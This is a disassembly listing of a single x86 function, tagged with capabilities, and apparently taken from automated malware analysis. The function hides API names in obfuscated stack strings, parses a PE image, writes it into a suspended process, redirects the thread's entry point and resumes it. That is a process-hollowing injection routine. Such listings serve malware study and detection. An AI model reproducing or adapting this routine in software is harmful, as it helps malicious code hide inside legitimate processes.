Function at 0x40a6c0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492de0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xd0
mov eax, dword [0x4a9018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xdc], ecx
mov eax, dword [ebx + 8]
mov dword [ebp - 0xd4], eax
mov byte [ebp - 0xcd], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
call fcn.00404bd0
cmp byte [ebx + 0x1c], 0
mov esi, eax
mov byte [ebp - 0xac], 0
je 0x40a7f6
push ecx
lea ecx, [ebp - 0xbc]
call fcn.004045d0
call fcn.00412590
push dword [ebx + 0x18]
lea eax, [ebp - 0xbc]
mov dword [ebp - 4], 0
push eax
lea edx, [ebp - 0xb8]
mov ecx, esi
call fcn.0040a330
add esp, 8
test al, al
je 0x40a7d7
mov ecx, dword [ebp - 0xb8]
test ecx, ecx
je 0x40a7d7
lea eax, [ebp - 0xb4]
push eax
sub esp, 0xc
call fcn.00417320
add esp, 0x10
test eax, eax
je 0x40a7d7
mov edx, dword [ebp - 0xb8]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.004173c0
mov ecx, dword [ebp - 0xac]
add esp, 4
test eax, eax
movzx ecx, cl
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 0xac], ecx
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], 0xffffffff
call fcn.00412020
cmp byte [ebp - 0xac], 0
je 0x40ab5b
lea eax, [ebp - 0x24]
mov word [ebp - 0x1c], 0x642e
push eax
mov word [ebp - 0x19], 0x6c
mov dword [ebp - 0x21], 0x336c656e
mov word [ebp - 0x23], 0x7265
mov byte [ebp - 0x24], 0x4b
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1a], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test edi, edi
je 0x40ab5b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x48]
push eax
push edi
mov dword [ebp - 0x3d], 0x7865746e
mov word [ebp - 0x39], 0x74
mov word [ebp - 0x47], 0x7465
mov word [ebp - 0x44], 0x7268
mov dword [ebp - 0x41], 0x6f436461
mov byte [ebp - 0x45], 0x54
mov byte [ebp - 0x48], 0x53
mov byte [ebp - 0x42], 0x65
call esi
mov dword [0x4afae4], eax
lea eax, [ebp - 0x34]
push eax
push edi
mov dword [ebp - 0x34], 0x75736552
mov word [ebp - 0x2a], 0x6461
mov dword [ebp - 0x2f], 0x72685465
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x30], 0x6d
call esi
mov dword [0x4afae0], eax
lea eax, [ebp - 0x5c]
push eax
push edi
mov dword [ebp - 0x53], 0x636f7250
mov word [ebp - 0x59], 0x696d
mov dword [ebp - 0x4f], 0x737365
mov word [ebp - 0x56], 0x7461
mov word [ebp - 0x5b], 0x7265
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x57], 0x6e
mov byte [ebp - 0x5c], 0x54
call esi
mov esi, dword [ebp - 0xdc]
mov dword [0x4afadc], eax
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40ab12
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x40ab12
xor eax, eax
mov dword [ebp - 0xa8], 0x44
cmp byte [ebx + 0x1c], al
xorps xmm0, xmm0
mov word [ebp - 0x66], ax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0xa8]
movlpd qword [ebp - 0xa4], xmm0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0x7c], 0x101
movlpd qword [ebp - 0x9c], xmm0
movlpd qword [ebp - 0x94], xmm0
movlpd qword [ebp - 0x8c], xmm0
movlpd qword [ebp - 0x84], xmm0
movlpd qword [ebp - 0x76], xmm0
movlpd qword [ebp - 0x6e], xmm0
push eax
je 0x40a98b
mov edx, dword [ebp - 0xd8]
push ecx
push dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
push 0x8000404
sub esp, 0xc
push dword [ebp - 0xd4]
call fcn.00417460
add esp, 0x24
jmp 0x40a9a2
mov edx, dword [ebp - 0xd4]
sub esp, 0x18
mov ecx, dword [ebp - 0xd8]
call fcn.00419ac0
add esp, 0x20
test eax, eax
je 0x40ab12
sub esp, 8
mov edx, 4
call fcn.00419080
add esp, 8
mov dword [ebp - 0xd4], eax
mov edx, eax
mov dword [eax], 0x10002
mov ecx, dword [ebp - 0xc8]
call fcn.00417e80
test eax, eax
je 0x40ab04
mov edx, dword [ebp - 0xd4]
lea eax, [ebp - 0xbc]
mov ecx, dword [ebp - 0xcc]
sub esp, 8
mov edx, dword [edx + 0xa4]
push eax
add edx, 8
call fcn.00417f80
add esp, 0xc
mov ecx, 0x40
cmp byte [ebx + 0x14], 0
mov eax, 4
cmovne eax, ecx
xor edx, edx
push eax
push ecx
push dword [edi + 0x50]
mov ecx, dword [ebp - 0xcc]
call fcn.00419100
add esp, 0xc
mov dword [ebp - 0xac], eax
test eax, eax
je 0x40ab04
push ecx
push dword [edi + 0x54]
mov ecx, dword [ebp - 0xcc]
mov edx, eax
push esi
call fcn.00417de0
movzx esi, word [edi + 0x14]
xor eax, eax
add esp, 0xc
mov dword [ebp - 0xd8], 0
add esi, 0x2c
cmp ax, word [edi + 6]
jae 0x40aaac
add esi, edi
nop word [eax + eax]
mov eax, dword [esi]
add eax, dword [ebp - 0xdc]
mov edx, dword [esi - 8]
add edx, dword [ebp - 0xac]
push ecx
push dword [esi - 4]
mov ecx, dword [ebp - 0xcc]
push eax
call fcn.00417de0
mov ecx, dword [ebp - 0xd8]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
inc ecx
add esp, 0xc
mov dword [ebp - 0xd8], ecx
cmp ecx, eax
jl 0x40aa70
mov esi, dword [ebp - 0xd4]
lea eax, [ebp - 0xac]
push ecx
mov ecx, dword [ebp - 0xcc]
push 4
mov edx, dword [esi + 0xa4]
push eax
add edx, 8
call fcn.00417de0
mov eax, dword [edi + 0x28]
add esp, 0xc
add eax, dword [ebp - 0xac]
mov dword [esi + 0xb0], eax
push esi
push dword [ebp - 0xc8]
call dword [0x4afae4]
push dword [ebp - 0xc8]
call dword [0x4afae0]
mov byte [ebp - 0xcd], 1
jmp 0x40ab12
push 0
push dword [ebp - 0xcc]
call dword [0x4afadc]
mov ecx, dword [ebp - 0xb0]
test ecx, ecx
je 0x40ab2b
call fcn.0041a130
mov dword [ebp - 0xb0], 0
mov ecx, dword [ebp - 0xb4]
test ecx, ecx
je 0x40ab44
call fcn.00419810
mov dword [ebp - 0xb4], 0
mov ecx, dword [ebp - 0xb8]
test ecx, ecx
je 0x40ab53
call fcn.00419810
mov al, byte [ebp - 0xcd]
jmp 0x40ab5d
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041c0d2
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret